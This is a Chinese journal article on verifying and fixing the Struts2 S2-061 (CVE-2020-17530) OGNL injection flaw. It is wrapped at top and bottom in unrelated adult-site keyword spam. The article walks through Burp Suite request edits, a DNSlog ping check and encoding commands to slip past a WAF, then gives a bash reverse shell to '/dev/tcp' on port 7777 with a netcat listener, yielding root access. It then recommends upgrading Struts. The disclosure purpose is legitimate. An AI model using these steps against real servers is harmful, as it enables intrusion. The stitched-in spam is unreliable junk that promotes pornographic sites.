999精品在线视频,手机成人午夜在线视频,久久不卡国产精品无码,中日无码在线观看,成人av手机在线观看,日韩精品亚洲一区中文字幕,亚洲av无码人妻,四虎国产在线观看 ?

基于“Struts2-061”漏洞談網(wǎng)絡(luò)安全問題防范

2021-08-04 21:47:57孫海波王剛
中國新通信 2021年8期

孫海波 王剛

【摘要】? ? 本文就一起“Struts2-061”網(wǎng)絡(luò)安全漏洞事件,詳細介紹了該漏洞的驗證步驟、原理、修復(fù)方法,如何做好網(wǎng)站的安全漏洞防范,防止黑客利用此漏洞對目標服務(wù)器進行數(shù)據(jù)竊取、篡改、破壞,或植入后門、掛馬等惡意操作。

【關(guān)鍵詞】? ? 網(wǎng)絡(luò)安全漏洞? ? 遠程代碼執(zhí)行? ? OGNL表達式

網(wǎng)站的作用越來越大,無論企業(yè)還是個人都離不開網(wǎng)站。網(wǎng)站是由各類網(wǎng)頁集合而成的,而網(wǎng)頁的實質(zhì)就是一個html文件,因而網(wǎng)站是由許多的html文件構(gòu)成的。網(wǎng)站在搭建過程中,需要使用各種各樣的框架,比如Struts、Spring、Hibernate等。不同的應(yīng)用程序框架具有不同的特點,在使用過程中,可能存在不同的安全隱患。

Struts2是一個基于MVC(Model View Controller,模型視圖控制器)設(shè)計模式的Web應(yīng)用程序框架,它既是Struts1的升級版本,更是一個全新的Struts架構(gòu)。因為Struts2使用MVC設(shè)計模式,該模式中的模型、視圖、控制器三個層次各司其職,所以Struts2框架也面臨一個問題,即用戶數(shù)據(jù)在不同層次流轉(zhuǎn)的問題。為了解決這一問題,提高訪問速度,Struts2框架采用OGNL(Object-Graph Navigation Language,對象圖導(dǎo)航語言)來操作,即Struts 2默認的表達式語言是OGNL,OGNL可以協(xié)助框架用非常簡單的表達式訪問不同的對象層。

本文就從筆者實際工作中遇到的一起Struts2-061漏洞事件談起,從該漏洞的驗證方法、產(chǎn)生原理、漏洞危害、修復(fù)手段幾個方面出發(fā),全面地介紹Struts2-061漏洞的相關(guān)內(nèi)容,希望能對廣大讀者有所幫助。

一、事件經(jīng)過

筆者于2021年1月8日發(fā)現(xiàn)某單位門戶網(wǎng)站存在網(wǎng)絡(luò)安全漏洞,并向該單位進行了通報,漏洞詳細情況如下:漏洞名稱為Struts2-061漏洞;漏洞數(shù)量1個;漏洞等級為高危;漏洞地址為http://192.---.---.133/index.action(“---”代表網(wǎng)站部分URL地址);漏洞描述為,Apache Structs2在使用某些標簽屬性時,可能存在OGNL表達式注入漏洞,從而造成遠程代碼執(zhí)行,目標服務(wù)器被提權(quán),風(fēng)險極大。

漏洞驗證前,我們看到該網(wǎng)址后綴為“.action”,則可判斷該網(wǎng)站使用框架為Apache Struts2。Action對象是Struts2框架的核心,每個URL地址都映射到特定的Action對象中,Action對象對來自用戶的請求提供處理邏輯,它有兩個重要功能:一是將用戶請求數(shù)據(jù)傳遞到框架視圖中,二是協(xié)助框架確定響應(yīng)結(jié)果對應(yīng)視圖中的用戶請求。驗證詳細步驟如下。

1.1對目標網(wǎng)站進行數(shù)據(jù)包抓取

通過使用burpsuite工具對該網(wǎng)站進行數(shù)據(jù)包抓取,burpsuite工具是用于攻擊、測試web應(yīng)用程序的集成平臺,包含了許多工具,并為這些工具設(shè)計了許多接口,以加快攻擊、測試應(yīng)用程序的過程,能快速處理網(wǎng)站對應(yīng)的HTTP 消息、認證、代理、日志、警報等。抓包結(jié)果如圖1所示。

1.2修改發(fā)送請求

我們將響應(yīng)結(jié)果發(fā)送到burpsuite工具的repeater里,并對發(fā)送的數(shù)據(jù)包進行修改。因為我們需要重新發(fā)送請求數(shù)據(jù),所以將請求方式由GET改為POST。數(shù)據(jù)包主要修改兩個內(nèi)容,一是修改Content-Type為常見的POST數(shù)據(jù)內(nèi)容提交類型multipart/form-data,二是修改payload。另外,我們可以看到生成了一條記錄boundary分割線符,其值為----WebKitFormBoundaryl7d1B1aGsV2wcZwF,也就是說我們只要輸入這一值就相當(dāng)于輸入了一條分割線。具體修改內(nèi)容為:

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

空一行

------WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Disposition: form-data; name=”id”

空一行

(payload)

------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

具體payload為:

1.3用Dnslog.cn網(wǎng)站進行數(shù)據(jù)監(jiān)測

修改payload中的arglist.add參數(shù)并執(zhí)行,我們使用Dnslog.cn網(wǎng)站進行數(shù)據(jù)監(jiān)測,首先開啟Dnslog,其中4puott.dnslog.cn為Dnslog.cn網(wǎng)站的臨時域名,如圖2所示。

1.4執(zhí)行修改后的請求數(shù)據(jù)包

在burpsuite的repeater工具中將arglist.add參數(shù)值改為“ping 4puott.dnslog.cn”,意思表示我們通過目標主機來ping網(wǎng)址4puott.dnslog.cn(Dnslog.cn網(wǎng)站的臨時域名),發(fā)送數(shù)據(jù)包如圖3所示。

發(fā)送數(shù)據(jù)請求后,我們可以在Dnslog.cn網(wǎng)站上看到有數(shù)據(jù)記錄,證明目標網(wǎng)站執(zhí)行了我們修改的ping 4puott.dnslog.cn命令,也就是實現(xiàn)了遠程代碼執(zhí)行,因而可以證明該網(wǎng)站存在Struts2-061漏洞,如圖4所示。

1.5對目標服務(wù)器進行端口反彈

在上一步中已實現(xiàn)了遠程代碼執(zhí)行,那我們就嘗試用nc工具(NetCat,一款網(wǎng)絡(luò)工具,可通過TCP或UDP協(xié)議傳輸讀寫數(shù)據(jù),對服務(wù)器端口進行掃描、監(jiān)聽)進行端口反彈,對目標服務(wù)器進行提權(quán)。保險起見,在執(zhí)行端口反彈命令前,我們先將反彈命令進行編碼加密,這樣可以在一定程度上防止被WAF、防火墻等設(shè)備攔截,編碼網(wǎng)站:http://www.jackson-t.ca/runtime-exec-payloads.html,如圖5所示。

反彈命令為“/bin/bash -i >& /dev/tcp/175.---.---.240/7777 0>&1”,其中175.---.---.240為我方虛擬專用VPS服務(wù)器的IP地址,7777為監(jiān)聽的端口,編碼后的字符如圖5所示,并將編碼后的字符復(fù)制到payload中的arglist.add參數(shù)里,執(zhí)行發(fā)送數(shù)據(jù)請求,如圖6所示。

然后在我們的VPS服務(wù)器上(root@miss-vps ~)運行命令“nc –lvnp 7777”,即監(jiān)聽端口7777,如圖7所示。其中nc命令參數(shù)介紹如下:-l指使用監(jiān)聽模式,管控傳入的資料;-v指顯示指令執(zhí)行過程;-n指直接使用IP地址,而不通過域名服務(wù)器;-p<通信端口>指設(shè)置本地主機使用的通信端口。

1.6端口反彈成功

在burpsuite工具上執(zhí)行shell命令,并將數(shù)據(jù)反彈至我方VPS服務(wù)器7777端口,我們已成功登陸目標服務(wù)器(root@0a0b2bd89d8f),如圖8所示。至此漏洞驗證結(jié)束,我們未進行深層次操作,可判斷該網(wǎng)站存在遠程代碼執(zhí)行漏洞、存在Struts2-061漏洞。

二、漏洞原理

2020年12月,Apache Struts官方披露了編號為S2-061的遠程代碼執(zhí)行漏洞,CVE編號為CVE-2020-17530。Apache Struts2框架是一個用于開發(fā)Java EE網(wǎng)絡(luò)應(yīng)用程序的Web框架,在使用某些標簽時可能存在OGNL表達式注入漏洞的情況,從而造成遠程代碼執(zhí)行,風(fēng)險極大。

在Struts2標簽屬性中強制使用OGNL表達式,并可被外部修改時,攻擊者就可以構(gòu)造惡意的OGNL表達式觸發(fā)網(wǎng)絡(luò)安全漏洞。Struts2會對某些標簽屬性(比如`id`,其他屬性未知) 的屬性值進行二次表達式解析,因此當(dāng)這些標簽屬性中使用了`%{X}`,且`X`的值可被用戶控制修改時,用戶再傳入一個`%{payload}`,即可造成OGNL表達式執(zhí)行。在我們上面提到的漏洞驗證過程中,就是對payload中arglist.add(“id”)進行了修改,將id參數(shù)修改了兩次,一次是修改為“ping 4puott.dnslog.cn”,另一次是修改為端口反彈命令,結(jié)果這兩個修改后的payload都被成功執(zhí)行,進而造成遠程代碼執(zhí)行。

Struts2-061漏洞正是利用了這一弱點,可造成遠程代碼執(zhí)行,進而達到攻擊者控制目標服務(wù)器的目的。

三、修復(fù)方法

對于Struts2-061漏洞,我們應(yīng)該及時升級Struts2版本。目前官方已在新版本中修復(fù)了該漏洞,升級到Struts 2.5.26及更高版本便可修復(fù)Struts2-061漏洞,下載地址:https://struts.apache.org/download.cgi。另外,在升級前應(yīng)做好數(shù)據(jù)備份工作,避免出現(xiàn)意外情況。

四、結(jié)束語

這次發(fā)現(xiàn)的Struts2-061漏洞,是利用了攻擊者再傳入一個`%{payload}`,即可造成OGNL表達式執(zhí)行,導(dǎo)致遠程代碼執(zhí)行,目標服務(wù)器被控制,網(wǎng)站很容易被植入后門。2020年上半年,境內(nèi)外約1.8萬個IP地址對我國境內(nèi)約3.59萬個網(wǎng)站植入后門,我國境內(nèi)被植入后門的網(wǎng)站數(shù)量較2019年上半年增長36.9%[1]。

對網(wǎng)站的安全防護是一個長期性的工作,沒有捷徑可走。除了定期對網(wǎng)站進行網(wǎng)絡(luò)安全漏洞掃描外,技術(shù)人員平時還要多關(guān)注網(wǎng)絡(luò)安全訊息,以避免自己網(wǎng)站存在漏洞被攻陷。這就要求我們要多了解、多學(xué)習(xí)、與時俱進,不斷提升自己的技術(shù)水平,以高度的責(zé)任心做好網(wǎng)絡(luò)安全防護工作。

主站蜘蛛池模板: 亚洲男人天堂2020| 精品国产免费观看一区| 日本在线国产| 尤物视频一区| 最新无码专区超级碰碰碰| 亚洲一区网站| 国产视频一二三区| 中文字幕 欧美日韩| 91精品国产综合久久香蕉922| 2021亚洲精品不卡a| 2022国产无码在线| 免费午夜无码18禁无码影院| 少妇被粗大的猛烈进出免费视频| 亚洲最新地址| 日韩 欧美 国产 精品 综合| 五月天福利视频| 日本久久久久久免费网络| 国产成人亚洲欧美激情| 国产区福利小视频在线观看尤物| 欧美国产视频| 国产9191精品免费观看| 波多野结衣视频一区二区| 国产剧情无码视频在线观看| 国内精品久久久久鸭| 精品免费在线视频| AV在线麻免费观看网站| 中文字幕亚洲乱码熟女1区2区| 亚洲成a人在线播放www| 国产女人水多毛片18| 亚洲国产天堂在线观看| 国产微拍精品| 亚洲综合精品香蕉久久网| 99久久亚洲精品影院| 99久久国产精品无码| 日韩精品久久久久久久电影蜜臀| 中文字幕在线日韩91| 国产欧美视频综合二区| 国产成人精彩在线视频50| 日韩成人午夜| 国产一级做美女做受视频| 国产网站黄| 久久综合亚洲色一区二区三区| 色综合久久88色综合天天提莫| 国产va在线观看免费| 日韩国产综合精选| 爽爽影院十八禁在线观看| 日本在线亚洲| 亚洲黄色成人| 内射人妻无套中出无码| 免费国产不卡午夜福在线观看| 天天躁夜夜躁狠狠躁图片| 久久久91人妻无码精品蜜桃HD | 国产91蝌蚪窝| 欧美爱爱网| 亚洲精品大秀视频| 国产日韩欧美在线视频免费观看 | 成人福利一区二区视频在线| 少妇高潮惨叫久久久久久| 高清久久精品亚洲日韩Av| 国产自产视频一区二区三区| 国产经典在线观看一区| 污污网站在线观看| 40岁成熟女人牲交片免费| 国禁国产you女视频网站| AV不卡在线永久免费观看| 91久久大香线蕉| 天天摸天天操免费播放小视频| 精品一区二区三区水蜜桃| 草逼视频国产| 91麻豆国产视频| 亚洲黄网视频| 人妻中文字幕无码久久一区| 四虎亚洲精品| 91网在线| 欧美在线网| 人人看人人鲁狠狠高清| 九九久久99精品| 精品人妻无码中字系列| 亚洲天堂视频网站| 伊人久久大香线蕉成人综合网| 手机在线免费不卡一区二| 不卡无码网|